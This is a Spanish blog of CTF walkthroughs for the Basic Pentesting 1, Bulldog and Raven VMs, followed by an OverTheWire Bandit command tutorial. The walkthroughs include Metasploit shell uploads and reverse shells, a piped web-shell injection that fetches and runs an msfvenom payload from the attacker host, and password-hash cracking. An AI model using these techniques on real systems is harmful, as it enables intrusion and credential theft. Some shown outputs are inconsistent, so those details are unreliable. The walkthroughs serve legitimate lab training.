martes, 9 de noviembre de 2021

CTF Basic Pentesting 1 VM


 


Primero se hace un escaneo de puertos con nmap

$ sudo nmap -sV -Pn -A -O -oN basic1 192.168.2.4
Nmap scan report for 192.168.2.4
Host is up (0.00052s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d60190392d8f46fb038673b33c547e54 (RSA)
|   256 f1f3c0ddbaa485f7139ada3abb4d9304 (ECDSA)
|_  256 12e298d2a3e7364fbe6bce366b7e0d9e (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


Luego se modifica el archivo host para que resuelva la IP con un dominio de forma local.

$ vi /etc/hosts


Ahora se verifica el servicio web disponible en el puerto 80.


En este lugar no hay mucha información reveladora, así que se procede con escaneo de rutas con gobuster.
 

 $ gobuster dir -u http://192.168.2.4 -e -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=========================================================
http://192.168.2.4/.htpasswd            (Status: 403) [Size: 295]
http://192.168.2.4/.htaccess            (Status: 403) [Size: 295]
http://192.168.2.4/.hta                 (Status: 403) [Size: 290]
http://192.168.2.4/index.html           (Status: 200) [Size: 177]
http://192.168.2.4/secret               (Status: 301) [Size: 311] [--> http://192.168.2.4/secret/]
http://192.168.2.4/server-status        (Status: 403) [Size: 299]
Progress: 4614 / 4615 (99.98%)
===============================================================

 Yendo a la ruta http://vtcsec/secret/ se encontró una web oculta hecha con WordPress.


 

Así que se escanea de nuevo para encontrar nuevas rutas a partir de esta web.

$ gobuster dir -u http://192.168.2.4 -e -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.4
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.4/.htpasswd            (Status: 403) [Size: 295]
http://192.168.2.4/.htaccess            (Status: 403) [Size: 295]
http://192.168.2.4/.hta                 (Status: 403) [Size: 290]
http://192.168.2.4/index.html           (Status: 200) [Size: 177]
http://192.168.2.4/secret               (Status: 301) [Size: 311] [--> http://192.168.2.4/secret/]
http://192.168.2.4/server-status        (Status: 403) [Size: 299]
===============================================================

Por el momento lo más llamativo es la ruta de /wp_admin donde está el panel de administración de WordPress, y usando con un usuario y contraseña por defecto, en este caso "admin:admin" se logró ingresar.

Con el panel administración a disposición doy 2 métodos para obtener una Shell.


Método 1: Usando metasploit.

Dentro de la consola de msf buscamos un módulo que pueda servir en este caso wp-admin

msf > search wp_admin

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/unix/webapp/wp_admin_shell_upload  2015-02-21       excellent  Yes    WordPress Admin Shell Upload

msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.5      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   WordPress

 Ahora solo es setear los datos importantes como la contraseña,el rhost(remote), rport,targeturi,username, lhost (local) y opcionalmente el lport quedando algo asi.

msf exploit(unix/webapp/wp_admin_shell_upload) > options

Module options (exploit/unix/webapp/wp_admin_shell_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.2.4      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /secret/         yes       The base path to the wordpress application
   USERNAME   admin            yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.5      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   WordPress

Es hora de ejecutar este módulo con el comando run.

msf exploit(unix/webapp/wp_admin_shell_upload) > run

Si todo está bien se ejecutará y dará un meterpreter y pedir una Shell.

meterpreter > shell
Process 2268 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)


Método 2: Usar una utilidad de WordPress

Teniendo control de la página de WordPress, al dirigirse hacia apariencia > editor y escoger un, témplate, en mi caso, el 404.php y cargar un reverse Shell con la IP local y un puerto al cual va a apuntar.


Ahora se coloca nc a escuchar por el puerto definido en la reverse Shell.

$ nc -lvnp 4567


Ahora navegando en las rutas, la Shell quedo guardada en el archivo 404 del tema seleccionado en mi caso es este.

http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php

Revisando nc, la Shell ya se tiene acceso.


Ahora a buscar si hay algún archivo con escritura en root se encontró este.

$  find / type f -perm -04000 -ls 2>/dev/null

1028     56 -rwsr-xr-x   1 root     root          54256 May 16  2017 /usr/bin/passwd

Comprobando los permisos de /etc/shadow

ls-l /etc/shadow
4 -rw-r--r-- 1 root shadow 1305 Nov 16 2017 /usr/bin/passwd

Se puede utilizar la herramienta unshadow para extraer las contraseñas de los usuarios. 

$ unshadow passwd shadow > pass

Usando John the ripper, se obtiene el usuario y la contraseña

$ john pass                                                                                                
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
marlinspike      (***********)   

Muchas gracias a Josiah Pierce que nos brindó esta VM. Hasta la próxima.

Vulnhub: Basic Pentesting 1

viernes, 15 de octubre de 2021

CTF Bulldog VM


Primer se hace un escaneo con nmap para descubrir los puertos abiertos como vector de ataque

─$ sudo nmap -sV -O 10.0.2.10
Starting Nmap 7.92 ( https://nmap.org ) at 2021-07-31 14:53 -05
Nmap scan report for 10.0.2.10
Host is up (0.00091s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Se encontraron 3 servicios, ssh en el puerto 23 y 2 servicios web en los puertos 80 y 8080 respectivamente.Ahora desde el navegador dar un vistazo lo que tiene los servicios web.




Siguiendo el flujo de la aplicación no se encontró algo que nos sirviera para acceder al servidor, así que a través de una herramienta de escaneo de paths en este caso nikto.

 
─$ nikto -h 10.0.2.10:8080
- Nikto
---------------------------------------------------------------------------
+ Target IP: 10.0.2.10
+ Target Hostname: 10.0.2.10
+ Target Port: 8080
+ Start Time: 2021-07-31 15:04:00 (GMT-5)
---------------------------------------------------------------------------
+ Server: WSGIServer/0.1 Python/2.7.12
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OSVDB-3092: /dev/: This might be interesting...
+ 7907 requests: 16 error(s) and 3 item(s) reported on remote host
+ End Time: 2021-07-31 15:04:41 (GMT-5) (41 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


Se encontró una ruta interesante.

Tada!!, una interesante ruta dándonos a conocer sobre algunas cosas que nos podrían servir mas adelante. Al inspeccionar la pagina se encuentra esto.
 

Pasando estos hash's por una herramienta de identificación de hash's se obtuvo esto.


Ahora probando con ora herramienta de analizador de path, est utiliza un dicccionario de rutas para identificarlas se obtuvo unas rutas nuevas

└─$ dirb http://10.0.2.10:80

-----------------
DIRB
By The Dark Raver
-----------------

START_TIME: Sat Jul 31 15:41:12 2021
URL_BASE: http://10.0.2.10:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.0.2.10:80/ ----
==> DIRECTORY: http://10.0.2.10:80/admin/
==> DIRECTORY: http://10.0.2.10:80/dev/
+ http://10.0.2.10:80/robots.txt (CODE:200|SIZE:1071)

---- Entering directory: http://10.0.2.10:80/admin/ ----
==> DIRECTORY: http://10.0.2.10:80/admin/auth/
==> DIRECTORY: http://10.0.2.10:80/admin/login/
==> DIRECTORY: http://10.0.2.10:80/admin/logout/

---- Entering directory: http://10.0.2.10:80/dev/ ----
==> DIRECTORY: http://10.0.2.10:80/dev/shell/

---- Entering directory: http://10.0.2.10:80/admin/auth/ ----
==> DIRECTORY: http://10.0.2.10:80/admin/auth/group/
==> DIRECTORY: http://10.0.2.10:80/admin/auth/user/

 

Al iniciar sesión en la ruta login con el usuario nick y bulldog me llevo a esta sección.  

Así que dando un vistazo a la ruta donde estaba la shell en la ruta dev.


  Probando un poco los comandos que permite


Al utilizar pipe (|) es posible bypassear el acceso de otros comandos no permitidos.



 

Pues ahora se va a crear un payload con msfvenom

└─$ sudo msfvenom -p python/meterpreter/reverse_tcp lhost=10.0.2.15 lport=4567 > shell.py
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 493 bytes
Final size of python file: 2401 bytes

Despues vamos a metasploit para buscar el exploit que llevara el payload que acabamos de crear.

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.2.15
lhost => 10.0.2.15
msf6 exploit(multi/handler) > set lport 4567
lport => 4567
msf6 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

Para recapitular tengo un exploit escuchando en un puerto especifico, esperando que en el objetivo ejecute el script para tener una conexión en su maquina, aprovechando la web shell vulnerable que anteriormente habíamos encontrado, se va a cargar y ejecutar. Lo primero voy a crear un servicio web con un puerto por defecto donde se localiza el script malicioso.

─$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...


Ahora en la web shell vamos a pasar un comando permitido, pipe, la dirección del servicio web, pipe, comando para ejecutar el script malicioso.

pwd | wget http://10.0.2.15:8000/shell.py | python shell.py

 


Ahora tenemos acceso y se necesita una shell

meterpreter > shell
Process 1222 created.
Channel 1 created.
/bin/sh: 0: can't access tty; job control turned off

Después a spawnear la terminal con python

$ python -c 'import pty; pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

bash: /root/.bashrc: Permission denied
django@bulldog:/home/django/bulldog$

 

Luego de explorar un poco los directorios se encuentra un directorio muy interesante llamado .hiddenadmindirectory. dentro hay una pista, una nota, que le escriben a nick sobre un prototipo de un aplicativa para asignar cuentas.

Curiosamente le hice un cat a la aplicación se encontró un texto muy llamativo

��H�SUPERultH�E�H�imatePASH�E�H�SWORDyouH�E�H�CANTgetH�E�H�U�

 

Al aplicar el comando strings al mismo archivo se encuentra una grandiosa pista

UH-H
SUPERultH
imatePASH
SWORDyouH
CANTget
dH34%(
AWAVA
AUATL
[]A\A]A^A_
Please enter a valid username to use root privileges
Usage: ./customPermissionApp <username>
sudo su root
;*3$"

 

Ahora se va probar si tengo obtengo usuario root con la cadena de arriba quizás tenga algún tipo de concatenante, con el comando sudo su, se obtuvo usuario root con la contraseña

SUPERultimatePASSWORDyouCANTget

 

Ahora se explora los directorios para encontrar la flag.

root@bulldog:/# cd root
cd root
root@bulldog:~# ls
ls
congrats.txt
root@bulldog:~# cat congrats.txt
cat congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?

Let me know what you thought on twitter, I'm @frichette_n

As far as I know there are two ways to get root. Can you find the other one?

Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!
 

 

Muchas gracias a @frichette_n que nos brindo esta MV. Hasta la proxima.

lunes, 4 de octubre de 2021

CTF Raven VM



 

Primero haré un escaneo haciendo un ping a todas las maquinas que están conectadas a este segmento de red

└─$ nmap -sP 10.0.2.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-08-02 15:02 -05
Nmap scan report for 10.0.2.1
Host is up (0.0016s latency).
Nmap scan report for 10.0.2.11
Host is up (0.0010s latency).
Nmap scan report for 10.0.2.15
Host is up (0.00056s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.59 seconds


Luego de encontrar información sobre ese objetivo.

─$ sudo nmap -sV -O 10.0.2.11                                                                                                                                     
Starting Nmap ( https://nmap.org ) at 2021-08-02 15:05 -05
Nmap scan report for 10.0.2.11
Host is up (0.00056s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Ahora se escanea las paths disponibles, mientras se da un peqeño vistaso al servicio que esta corriendo por el puerto 80.El escaner arrojo algo similar a esto.


└─$ dirb  http://10.0.2.11:80

-----------------
DIRB
By The Dark Raver
-----------------

START_TIME: Tue Aug  2 15:20:51 2021
URL_BASE: http://10.0.2.11:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                         

---- Scanning URL: http://10.0.2.11:80/ ----
==> DIRECTORY: http://10.0.2.11:80/css/                                                                                                                               
==> DIRECTORY: http://10.0.2.11:80/fonts/                                                                                                                             
==> DIRECTORY: http://10.0.2.11:80/img/                                                                                                                               
+ http://10.0.2.11:80/index.html (CODE:200|SIZE:16819)                                                                                                                
==> DIRECTORY: http://10.0.2.11:80/js/                                                                                                                                
==> DIRECTORY: http://10.0.2.11:80/manual/                                                                                                                            
+ http://10.0.2.11:80/server-status (CODE:403|SIZE:297)                                                                                                               
==> DIRECTORY: http://10.0.2.11:80/vendor/                                                                                                                            
==> DIRECTORY: http://10.0.2.11:80/wordpress/

...

 

Ahora que se sabe que es hay un blog basado en worpress se podra intentar escanearlo mediante una herramienta llamada wpscan.

└─$ wpscan --url http://10.0.2.11:80/wordpress/ --wp-content-dir -ep -et -eu

...
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://10.0.2.11/wordpress/ [10.0.2.11]
[+] Started: Tue Aug 2 15:40:13 2021

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://10.0.2.11/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://10.0.2.11/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://10.0.2.11/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

...

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <==========================================================================================> (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
...

 

Se ha encontrado 2 usuarios en el sistema, ahora intento ingresar con fuerza bruta con las posibles contraseñas.

└─$ ssh michael@10.0.2.11
The authenticity of host '10.0.2.11 (10.0.2.11)' can't be established.
...
michael@10.0.2.11's password: michael

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
michael@Raven:~$  


Ahora a explorar, existe otro usuario steve, al revisar ficheros a simple vista no se encontro nada llamativo, al revisar los grupos en los que pertenecia este usuario no habia nada muy revelador

michael@Raven:/etc$ id
uid=1000(michael) gid=1000(michael) groups=1000(michael),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Bueno al revisar las conexiones de red, se encontro esto

michael@Raven:/etc$ netstat -putana
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:44713 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 10.0.2.11:22 10.0.2.15:39360 ESTABLISHED -
tcp6 0 0 :::60971 :::* LISTEN -
tcp6 0 0 :::111 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 0.0.0.0:52685 0.0.0.0:* -
udp 0 0 0.0.0.0:1000 0.0.0.0:* -
udp 0 0 127.0.0.1:1010 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:13162 0.0.0.0:* -
udp 0 0 0.0.0.0:111 0.0.0.0:* -
udp6 0 0 :::1000 :::* -
udp6 0 0 :::48931 :::* -
udp6 0 0 :::111 :::* -
udp6 0 0 :::41844 :::* -

El puerto 3306 es de mysql, el 22 es el de ssh, entre otros. Revisando los servicios que estan corriendo en la maquina

michael@Raven:/etc$ systemctl status
● Raven
State: running
Jobs: 0 queued
Failed: 0 units
Since: Wed 2022-08-03 01:00:46 AEST; 2h 42min ago
CGroup: /
├─1 /sbin/init
└─system.slice
├─dbus.service
│ └─433 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
├─cron.service
│ └─425 /usr/sbin/cron -f
├─nfs-common.service
│ ├─410 /sbin/rpc.statd
│ └─424 /usr/sbin/rpc.idmapd
...
├─apache2.service
├─networking.service
│ └─378 dhclient -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0
...
├─mysql.service
│ ├─538 /bin/sh /usr/bin/mysqld_safe
│ └─932 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-
...
├─sendmail.service
│ └─574 sendmail: MTA: accepting connections 


Buscando en las carpetas encontre una flag

michael@Raven:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

Encontre en que el servicio mail estaba enviando correos, ahora al ir a la carpeta de wordpress y examinar la carpeta de configuracion, se encuentra algunas pistas

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

 

Y con estas, se puede acceder a la base de datos desde la consola, se va a buscar los usuarios guardados en worpress

michael@Raven:/var/www/html/wordpress$ mysql -u root -p
Enter password: R@v3nSecurity
Welcome to the MySQL monitor. Commands end with ; or \g.
...

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

Ahora a

mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+--------------------+
4 rows in set (0.03 sec)


mysql> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.00 sec)

mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | | 2018-08-12 22:49:12 | | 0 | michael |
| 2 | steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven | steven@raven.org | | 2018-08-12 23:31:16 | | 0 | Steven Seagull |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
2 rows in set (0.00 sec)
 

Guardando en un archivo el hash de la clave de steven, porque la de michael ya la tenemos, se usara john the ripper para crackear ese hash

└─$ john user_hash

Created directory: /home/aka-linux/.john
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
pink84 (?)
...

Teniendo la contraseña, pink84, se accede al usuario steven.

michael@Raven:/var/www/html/wordpress$ su steven, se revisa los grupos a los que pertenece
Password: pink84
$ id
uid=1001(steven) gid=1001(steven) groups=1001(steven)

listará los comandos permitidos para el usuario que lo invoca, en este caso python , asi que se va hacer un spawn con python
$ su -l
Password:
su: Authentication failure
$ sudo -l
Matching Defaults entries for steven on raven:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
(ALL) NOPASSWD: /usr/bin/python


$ sudo python -c "import pty; pty.spawn('/bin/bash')"
root@Raven:/var/www/html/wordpress# id
uid=0(root) gid=0(root) groups=0(root)
root@Raven:/var/www/html/wordpress#
root@Raven:~# cd
root@Raven:~# cat flag4.txt
______

| ___ \

| |_/ /__ ___ _____ _ __

| // _` \ \ / / _ \ '_ \

| |\ \ (_| |\ V / __/ | | |

\_| \_\__,_| \_/ \___|_| |_|


flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io 

Muchas gracias a @mccannw que nos brindo esta VM. Hasta la proxima.

jueves, 9 de septiembre de 2021

OverTheWire

 

Over the wire es un plataforma de juegos de guerra ayudando a la comunidad con conceptos de seguridad a traves de juegos, la dinamica es a traves de niveles y categorias.

 

Bandit 

Hoy quiero compartirles no tanto como solucionar estos retos, sino como alcansar los comandos indicados para facilitar su comprension. A medida que vaya avanzando en los niveles se ira profundizando mas los comandos.


Reto 0:

El objetivo de este nivel es que te conectes al juego usando SSH. El host al que debes conectarte es bandit.labs.overthewire.org, en el puerto 2220. El nombre de usuario es bandit0 y la contraseña es bandit0. Una vez conectado, ve a la página del Nivel 1 para saber cómo superar el Nivel 1.


ssh:

Para ingresar a traves de ssh necesitas los siguientes parametros

shh {usuario}@{hostname} -p{puerto} ssh bandit0@bandit.labs.overthewire.org -p 2220


Reto->1:

La contraseña para el siguiente nivel se almacena en un archivo llamado readme ubicado en el directorio home. Usa esta contraseña para entrar en bandit1 usando SSH. Siempre que encuentres una contraseña para un nivel, usa SSH (en el puerto 2220) para entrar en ese nivel y continuar el juego.

ls

 Es un comando que se utiliza para enumerar directorios y archivos

ls {ruta}
ls		//directorio actual
ls /		//directirio raiz
ls ..		//directorio padre
ls ../..	//directorio dos niveles arriba

  

cat

 Es un comando muy versatil que permite fusionar,crear y leer archivos

cat {ruta} {archivo}
cat file	//lee en archivo file

  

Reto->2:

La contraseña para el siguiente nivel se almacena en un archivo llamado - ubicado en el directorio de inicio.

cat

 Utilizando en un archivo con nombre "-" accede a la funcion STDIN (standar input) que permite leer por consola la entrada de texto. Para acceder al contenido hay que anteponerle al archivo

cat ./{file}

  

Reto->3:

La contraseña para el siguiente nivel se almacena en un archivo llamado espacios en este nombre de archivo situado en el directorio de inicio.

cat

 Utilizando en un archivo con nombre espacios en el nombre para acceder hay que colocar el nombre dentro de comillas

cat "a b"

  

Reto->4:

La contraseña para el siguiente nivel se almacena en un archivo oculto en el directorio inhere.

ls

 Un archivo que se le antepone un punto al comienzo del nombre es considerado archivo oculto, para listarlo hay que pasarle -a como parametro

ls -a

  

Reto->5:

La contraseña para el siguiente nivel se almacena en el único archivo legible por humanos en el directorio inhere. Consejo: si su terminal está desordenada, pruebe el comando "reset".

file

 Este comando brinda informacion sobre el tipo de ficheros, teniendo en cuenta que todos comienzan con -

file {opcion} {archivo/directorio}
file ./*

  

Reto->6:

La contraseña para el siguiente nivel se almacena en un archivo en algún lugar del directorio inhere y tiene todas las siguientes propiedades: legible para el ser humano, 1033 bytes de tamaño, no ejecutable.

find

 Es una herramienta estremadamente potente y precisa al buscar ficheros y directorios de manera recursiva

find {ruta} {opcion}
find . -size 1033c		//busca en la carpeta actual un archivo que pese exactamente 1033 bytes
find . -exacutable		//Busca un archivo que sea ejecutable
find . ! -exacutable -size 1033c //Busca un archivo no ejecutable y un peso exacto

  

Reto->7:

La contraseña para el siguiente nivel se almacena en algún lugar del servidor y tiene todas las siguientes propiedades: propiedad del usuario bandit7, propiedad del grupo bandit6, 33 bytes de tamaño.

find

 Similar al problema anterior pero ahora busca en sistema

find / -size 33c	//busca que pese 33 bytes
find / -user bandit7	//Busca que pertenesca a un usuario
find / -group bandit6	//Busca que pertenesca a un grupo

  

Reto->8:

La contraseña para el siguiente nivel se almacena en el archivo data.txt junto a la palabra millonésima.

grep

 Es una herramienta del sistema que permite encontrar patrones tanto en archivos como directorios

grep '{patron a buscar}' {archivo(s)}
grep -i patron} {file}		//imprime las coincidencias ignorando las mayus minus
grep -n {patron} {file}		//enumera e imprime el resultado de las coincidencias

  

Reto->9:

La contraseña para el siguiente nivel se almacena en el archivo data.txt y es la única línea de texto que aparece una sola vez.

sort y uniq

 Sort es ideal para ordenar, ordenar por fechas, por inverso y uniq mostrar resultados de un archivo al ser unicos, considerando como repetido en lineas subyacentes por lo tanto se suele trabajar con ambos comandos

sort {file} | uniq	//ordena y muestra los resultados unicos
sort {file} | uniq -i	//Ordena ignora si son mayus o minus
sort {file} | uniq -c 	//Muestra el numero de ocurrencias 
sort {file} | uniq -u 	//Muestra los resultados unicos 

  

Reto->10:

La contraseña para el siguiente nivel se almacena en el archivo data.txt en una de las pocas cadenas legibles para el ser humano, precedida por varios caracteres "=".

strings

 Este comando es especialmente util cuando se quiere extraer cadenas de un archivo binario, ya que la mayoria de programas para trabajar con archivos de texto suelen fallar porque se encuentran con caracteres no imprimibles. strings extrae cadenas o fragmentos de texto imprimibles

strings {file} 
strings -n {file}	//extrae las cadenas con un numero minimo de caracteres imprimibles
strings {file} | grep == //extrae las cadenas que cuenten con ese patron

  

Reto->11:

